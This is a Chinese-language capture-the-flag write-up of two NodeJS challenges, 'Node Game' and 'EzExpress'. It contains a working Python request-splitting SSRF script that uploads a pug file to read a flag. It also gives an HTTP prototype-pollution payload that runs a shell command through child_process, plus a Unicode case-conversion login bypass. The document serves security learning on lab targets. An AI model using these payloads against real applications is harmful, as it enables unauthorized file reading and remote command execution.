最近不管是国内还是国外的比赛,对于 NodeJS 或者是 Ruby 等语言知识点的考察都越来越多,即便以前没有学习过这些语言,也还是要有能在接到任务时简单学习语法之后能上手审计的能力。这一次比赛也不例外,有两道 NodeJS 的题。

以下两题均已在 BUUCTF 上线,各位可以直接到 https://buuoj.cn 创建靶机进行操作。

一、Node Game

知识点:

  • NodeJS 代码审计
  • SSRF
  • 请求夹带

步骤:

1、打开靶机,是这样一个页面。

2、那么就先来看看源码,右键页面查看源代码就有换行。

Express 框架的代码写出来还是很清晰的,每个路径对应的代码时什么也都可以直接看到,所以我们挑重点来分析。

首先是这里,上传文件时先判断是否是 127.0.0.1 也就是本地请求,这里就很明确地告诉我们需要 SSRF 了,然后就是获取上传的文件,根据其传过去的 MIME 类型保存到指定目录。这里我们能控制,所以有路径穿越,任意文件上传了。

然后是这里,这里获取 q 参数然后怼在 /source? 后面进行访问,然后会把访问结果显示出来。

毫无疑问,上面这里就是 SSRF 点了,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞。

https://xz.aliyun.com/t/2894#toc-2

3、利用那个上传页面上传一个文件,burp suite 抓下包。

4、然后上面的文件上传点代码,其有任意文件上传,就该考虑上传什么文件了,再回到源码看看,其有个 template 目录,而且在下面的首页路由里有接收 action 参数,会将 template 下的目录用 pug 引擎渲染。

我们再来看看 pug 引擎的文档 https://pugjs.org/zh-cn/language/includes.html,里面有包含的语法,我们在引擎里包含一个文件就可以获取到这个文件的内容了。(其实也有执行 js 代码的语法,各位可以自己试试:))

5、所以就上传一个 pug 文件试试吧,这里直截了当,读一下 /flag.txt 试试。

在之前抓的包上 send repeater,然后在这里改包的内容,特别要注意 Content-Type 要改,还有上面的 Connection 必须改为 Keep-Alive,这样才能几个请求一起夹带进去。发送一下,然后把右边的 HTTP 包内容拷贝上。

6、然后用下韩国哥们儿 https://blog.rwx.kr/nullcon-hackim-2020-split-second/ 的脚本,也是根据上面先知那篇文章里的内容相似的原理进行转码的,这里就改了改直接用了。

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="glzjin.pug"
Content-Type: /../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://359cf259-855c-463b-98e1-bf1da5deffc5.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

7、跑完脚本就可以 /?action=glzjin 访问下靶机,查看下这个页面源码。

可以看到 flag 成功被包含了。

8、Flag 到手~

二、EzExpress

知识点:

  • NodeJS 代码审计
  • NodeJS 大小写转换特性
  • NodeJS 原型链污染

步骤:

1、打开靶机,有源码泄露 /www.zip,下载源码。

2、打开源码包,主要审 routes 下路由的源码。

开头,看到 merge 和 clone,就想到以前听说过的原型链污染漏洞,一查还真是其他文章里的例子,就变了个变量名。

其他乍一看中规中矩,觉得就是一个注册登录,连数据库都没有。

注册这里会把用户名大写之后储存进 session。

要注册成 ADMIN 才能触发 clone 进行原型链污染。

但有限制,不让以 admin 注册。

3、网上一搜,发现 NodeJS 花样真多,还真在大小写转换上有花样。

https://xz.aliyun.com/t/7184#toc-11

那么我们只需要把 admin 写成 admın 即可绕过上面的限制了。

4、尝试注册,成功。

5、然后就该是原型链污染了。

看到代码里着重把 outputFunctionName 提溜出来,一定有事儿。

一查,一搜,果然,这里我就不自己跟了,大家有兴趣可以看下面这篇文章。

那么就把 Cookie 扒下来,自己构造一个请求吧。

POST /action HTTP/1.1
Host: dd8331c0-5f19-45b2-b93b-518759c6b4ef.node3.buuoj.cn
Content-Type: application/json
Cookie: session=s%3ASMpfuqe8eHPsM5KODRuLLUajN3SJb8N0.cp%2BEqeJRGrWDR%2F3HIjVvgrs5dGhmmYny2ySStSUvLX8
cache-control: no-cache
Postman-Token: 268ec28a-fa28-4ac4-8930-c7affc19ba7b
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/glzjin');var __tmp2"}}------WebKitFormBoundary7MA4YWxkTrZu0gW--

这里执行的命令我选择将 flag 读到 public 目录下(cat /flag > /app/public/glzjin),网站的绝对路径可通过报错信息得知。

6、访问一下 /info,触发渲染。

7、然后访问 /glzjin,flag 就下下来了。

8、Flag 到手~

以后还是得多多关注这些语言的特性,多了解一点,总用得上的~

NodeJS 的知识,这一篇文章真的总结得很好:

https://xz.aliyun.com/t/7184